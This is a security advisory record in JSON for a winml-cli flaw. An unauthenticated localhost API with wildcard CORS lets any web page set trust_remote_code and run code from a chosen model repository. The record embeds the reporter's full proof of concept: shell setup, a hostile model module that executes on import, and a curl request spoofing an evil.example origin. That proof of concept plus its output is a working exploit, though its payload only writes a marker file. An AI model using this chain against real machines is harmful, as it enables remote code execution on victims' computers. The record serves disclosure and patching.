{"id":"CVE-2026-84452","aliases":["CVE-2026-84452","GHSA-96p9-rh4f-92cf","PYSEC-2026-3944"],"related":[],"kind":"vulnerability","state":"published","title":"Windows ML CLI: CORS misconfig enables localhost RCE","summary":"Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.","source":"cvelist"},{"lang":"en","text":"Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc &&  mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level → runs on import)\n\ncat > /tmp/poc/evil/pwn/config.json <<'EOF'\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n    f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime('%F %T')}\\n\"\n            f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n    model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat > /tmp/poc/serve.py <<'EOF'\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n    def __init__(s,*a,**k): pass\n    def start(s,*a,**k): pass\n    def stop(s,*a,**k): pass\n    def poll(s,*a,**k): return {}\n    def sample(s,*a,**k): return {}\n    def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \\\n -d '{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}' \\\n | grep -iE '^HTTP|^access-control-allow-origin'\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini  host=Shrinivasan  pid=11616","format":"markdown","source":"ghsa"},{"lang":"es","text":"Windows ML CLI es una herramienta de línea de comandos para construir modelos de IA portátiles, de alto rendimiento y de alta calidad para Windows ML. Antes de la versión 0.4.0, el componente src/winml/modelkit/serve/cli_api.py expone comandos de WinML CLI a través de una API HTTP de localhost sin autenticación y configura la opción allow_origins como un comodín tanto en src/winml/modelkit/serve/cli_api.py como en src/winml/modelkit/serve/app.py. Un sitio web malicioso cargado por un usuario puede enviar solicitudes de origen cruzado a /v1/cli/build o /v1/cli/config y establecer el parámetro trust_remote_code en true, lo que se convierte en el indicador de línea de comandos --trust-remote-code sin validación. Esto llega a AutoConfig.from_pretrained con trust_remote_code=True en src/winml/modelkit/loader/_autoconfig.py e importa código Python desde un repositorio de modelos controlado por un atacante, lo que resulta en ejecución de código arbitrario como el usuario del servidor. Este problema está solucionado en la versión 0.4.0.","source":"nvd"}],"published":"2026-09-02T19:22:55.672Z","modified":"2026-09-28T23:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-306","CWE-942"],"affected":[{"ranges":[{"version":"< 0.4.0","status":"affected"}],"vendor":"microsoft","product":"winml-cli","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.4.0"}],"ecosystem":"PyPI","package":"winml-cli","purl":"pkg:pypi/winml-cli","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.4.0"}],"ecosystem":"PyPI","package":"winml-cli","purl":"pkg:pypi/winml-cli","source":"pysec"}],"references":[{"url":"https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/microsoft/winml-cli/pull/1321","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84452","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/microsoft/winml-cli","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/winml-cli","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-96p9-rh4f-92cf","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-03T16:01:21.102Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-84452","url":"https://www.cve.org/CVERecord?id=CVE-2026-84452","licence":"CVE Terms of Use","modified":"2026-09-03T16:01:26.554Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-96p9-rh4f-92cf","url":"https://github.com/advisories/GHSA-96p9-rh4f-92cf","licence":"CC-BY-4.0","modified":"2026-09-10T12:25:25.044Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-84452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84452","licence":"Public domain","modified":"2026-09-28T23:10:00.143Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3944","url":"https://osv.dev/vulnerability/PYSEC-2026-3944","licence":"CC-BY-4.0","modified":"2026-09-10T12:15:13.712Z"}],"updatedAt":"2026-11-25T22:59:36.145Z","epss":{"score":0.01241,"percentile":0.70001,"date":"2026-12-01T12:00:22.000Z"}}